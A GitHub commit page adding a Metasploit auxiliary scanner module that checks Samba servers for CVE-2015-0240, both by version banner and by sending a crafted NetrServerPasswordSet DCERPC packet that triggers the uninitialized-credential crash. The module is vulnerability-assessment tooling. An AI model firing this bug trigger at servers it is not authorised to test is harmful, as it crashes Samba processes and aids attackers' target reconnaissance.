Skip to content

Commit a32cd2a

Browse files
committed
Land rapid7#4877, CVE-2015-0240 (Samba) aux module
2 parents 6011e8b + 16c8622 commit a32cd2a

File tree

1 file changed

+269
-0
lines changed

1 file changed

+269
-0
lines changed
Lines changed: 269 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,269 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/auxiliary/report'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
# Exploit mixins should be called first
12+
include Msf::Exploit::Remote::DCERPC
13+
include Msf::Exploit::Remote::SMB::Client
14+
include Msf::Exploit::Remote::SMB::Client::Authenticated
15+
16+
# Scanner mixin should be near last
17+
include Msf::Auxiliary::Scanner
18+
include Msf::Auxiliary::Report
19+
20+
# Aliases for common classes
21+
SIMPLE = Rex::Proto::SMB::SimpleClient
22+
XCEPT = Rex::Proto::SMB::Exceptions
23+
CONST = Rex::Proto::SMB::Constants
24+
25+
RPC_NETLOGON_UUID = '12345678-1234-abcd-ef00-01234567cffb'
26+
27+
def initialize(info={})
28+
super(update_info(info,
29+
'Name' => 'Samba _netr_ServerPasswordSet Uninitialized Credential State',
30+
'Description' => %q{
31+
This module checks if your Samba target is vulnerable to an uninitialized variable creds.
32+
},
33+
'Author' =>
34+
[
35+
'Richard van Eeden', # Original discovery
36+
'sleepya', # Public PoC for the explicit check
37+
'sinn3r'
38+
],
39+
'License' => MSF_LICENSE,
40+
'References' =>
41+
[
42+
['CVE', '2015-0240'],
43+
['OSVDB', '118637'],
44+
['URL', 'https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/'],
45+
['URL', 'https://gist.github.com/worawit/33cc5534cb555a0b710b'],
46+
['URL', 'https://www.nccgroup.com/en/blog/2015/03/samba-_netr_serverpasswordset-expoitability-analysis/']
47+
],
48+
'DefaultOptions' =>
49+
{
50+
'SMBDirect' => true,
51+
'SMBPass' => '',
52+
'SMBUser' => '',
53+
'SMBDomain' => '',
54+
'DCERPC::fake_bind_multi' => false
55+
}
56+
))
57+
58+
# This is a good example of passive vs explicit check
59+
register_options([
60+
OptBool.new('PASSIVE', [false, 'Try banner checking instead of triggering the bug', false])
61+
])
62+
63+
# It's either 139 or 445. The user should not touch this.
64+
deregister_options('RPORT', 'RHOST')
65+
end
66+
67+
def rport
68+
@smb_port || datastore['RPORT']
69+
end
70+
71+
72+
# This method is more explicit, but a major downside is it's very slow.
73+
# So we leave the passive one as an option.
74+
# Please also see #maybe_vulnerable?
75+
def is_vulnerable?(ip)
76+
begin
77+
connect
78+
smb_login
79+
handle = dcerpc_handle(RPC_NETLOGON_UUID, '1.0','ncacn_np', ["\\netlogon"])
80+
dcerpc_bind(handle)
81+
rescue ::Rex::Proto::SMB::Exceptions::LoginError,
82+
::Rex::Proto::SMB::Exceptions::ErrorCode => e
83+
elog("#{e.message}\n#{e.backtrace * "\n"}")
84+
return false
85+
rescue Errno::ECONNRESET,
86+
::Rex::Proto::SMB::Exceptions::InvalidType,
87+
::Rex::Proto::SMB::Exceptions::ReadPacket,
88+
::Rex::Proto::SMB::Exceptions::InvalidCommand,
89+
::Rex::Proto::SMB::Exceptions::InvalidWordCount,
90+
::Rex::Proto::SMB::Exceptions::NoReply => e
91+
elog("#{e.message}\n#{e.backtrace * "\n"}")
92+
return false
93+
rescue ::Exception => e
94+
elog("#{e.message}\n#{e.backtrace * "\n"}")
95+
return false
96+
end
97+
98+
# NetrServerPasswordSet request packet
99+
stub =
100+
[
101+
0x00, # Server handle
102+
0x01, # Max count
103+
0x00, # Offset
104+
0x01, # Actual count
105+
0x00, # Account name
106+
0x02, # Sec Chan Type
107+
0x0e, # Max count
108+
0x00, # Offset
109+
0x0e # Actual count
110+
].pack('VVVVvvVVV')
111+
112+
stub << Rex::Text::to_unicode(ip) # Computer name
113+
stub << [0x00].pack('v') # Null byte terminator for the computer name
114+
stub << '12345678' # Credential
115+
stub << [0x0a].pack('V') # Timestamp
116+
stub << "\x00" * 16 # Padding
117+
118+
begin
119+
dcerpc.call(0x06, stub)
120+
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
121+
elog("#{e.message}\n#{e.backtrace * "\n"}")
122+
rescue Errno::ECONNRESET,
123+
::Rex::Proto::SMB::Exceptions::InvalidType,
124+
::Rex::Proto::SMB::Exceptions::ReadPacket,
125+
::Rex::Proto::SMB::Exceptions::InvalidCommand,
126+
::Rex::Proto::SMB::Exceptions::InvalidWordCount,
127+
::Rex::Proto::SMB::Exceptions::NoReply => e
128+
elog("#{e.message}\n#{e.backtrace * "\n"}")
129+
rescue ::Exception => e
130+
if e.to_s =~ /execution expired/i
131+
# So what happens here is that when you trigger the buggy code path, you hit this:
132+
# Program received signal SIGSEGV, Segmentation fault.
133+
# 0xb732ab3b in talloc_chunk_from_ptr (ptr=0xc) at ../lib/talloc/talloc.c:370
134+
# 370 if (unlikely((tc->flags & (TALLOC_FLAG_FREE | ~0xF)) != TALLOC_MAGIC)) {
135+
# In the Samba log, you'll see this as an "internal error" and there will be a "panic action".
136+
# And then Samba will basically not talk back to you at that point. In that case,
137+
# you will either lose the connection, or timeout, or whatever... depending on the SMB
138+
# API you're using. In our case (Metasploit), it's "execution expired."
139+
# Samba (daemon) will stay alive, so it's all good.
140+
return true
141+
else
142+
raise e
143+
end
144+
end
145+
146+
false
147+
ensure
148+
disconnect
149+
end
150+
151+
152+
# Returns the Samba version
153+
def get_samba_info
154+
res = ''
155+
begin
156+
res = smb_fingerprint
157+
rescue ::Rex::Proto::SMB::Exceptions::LoginError,
158+
::Rex::Proto::SMB::Exceptions::ErrorCode
159+
return res
160+
rescue Errno::ECONNRESET,
161+
::Rex::Proto::SMB::Exceptions::InvalidType,
162+
::Rex::Proto::SMB::Exceptions::ReadPacket,
163+
::Rex::Proto::SMB::Exceptions::InvalidCommand,
164+
::Rex::Proto::SMB::Exceptions::InvalidWordCount,
165+
::Rex::Proto::SMB::Exceptions::NoReply
166+
return res
167+
rescue ::Exception => e
168+
if e.to_s =~ /execution expired/
169+
return res
170+
else
171+
raise e
172+
end
173+
ensure
174+
disconnect
175+
end
176+
177+
res['native_lm'].to_s
178+
end
179+
180+
181+
# Converts a version string into an object so we can eval it
182+
def version(v)
183+
Gem::Version.new(v)
184+
end
185+
186+
187+
# Passive check for the uninitialized bug. The information is based on http://cve.mitre.org/
188+
def maybe_vulnerable?(samba_version)
189+
v = samba_version.scan(/Samba (\d+\.\d+\.\d+)/).flatten[0] || ''
190+
return false if v.empty?
191+
found_version = version(v)
192+
193+
if found_version >= version('3.5.0') && found_version <= version('3.5.9')
194+
return true
195+
elsif found_version >= version('3.6.0') && found_version < version('3.6.25')
196+
return true
197+
elsif found_version >= version('4.0.0') && found_version < version('4.0.25')
198+
return true
199+
elsif found_version >= version('4.1.0') && found_version < version('4.1.17')
200+
return true
201+
end
202+
203+
false
204+
end
205+
206+
207+
# Check command
208+
def check_host(ip)
209+
samba_info = ''
210+
smb_ports = [445, 139]
211+
smb_ports.each do |port|
212+
@smb_port = port
213+
samba_info = get_samba_info
214+
vprint_status("Samba version: #{samba_info}")
215+
216+
if samba_info !~ /^samba/i
217+
vprint_status("Target isn't Samba, no check will run.")
218+
return Exploit::CheckCode::Safe
219+
end
220+
221+
if datastore['PASSIVE']
222+
if maybe_vulnerable?(samba_info)
223+
flag_vuln_host(ip, samba_info)
224+
return Exploit::CheckCode::Appears
225+
end
226+
else
227+
# Explicit: Actually triggers the bug
228+
if is_vulnerable?(ip)
229+
flag_vuln_host(ip, samba_info)
230+
return Exploit::CheckCode::Vulnerable
231+
end
232+
end
233+
end
234+
235+
return Exploit::CheckCode::Detected if samba_info =~ /^samba/i
236+
237+
Exploit::CheckCode::Safe
238+
end
239+
240+
241+
# Reports to the database about a possible vulnerable host
242+
def flag_vuln_host(ip, samba_version)
243+
report_vuln(
244+
:host => ip,
245+
:port => rport,
246+
:proto => 'tcp',
247+
:name => self.name,
248+
:info => samba_version,
249+
:refs => self.references
250+
)
251+
end
252+
253+
254+
def run_host(ip)
255+
peer = "#{ip}:#{rport}"
256+
case check_host(ip)
257+
when Exploit::CheckCode::Vulnerable
258+
print_good("#{peer} - The target is vulnerable to CVE-2015-0240.")
259+
when Exploit::CheckCode::Appears
260+
print_good("#{peer} - The target appears to be vulnerable to CVE-2015-0240.")
261+
when Exploit::CheckCode::Detected
262+
print_status("#{peer} - The target appears to be running Samba.")
263+
else
264+
print_status("#{peer} - The target appears to be safe")
265+
end
266+
end
267+
268+
end
269+

0 commit comments

Comments
 (0)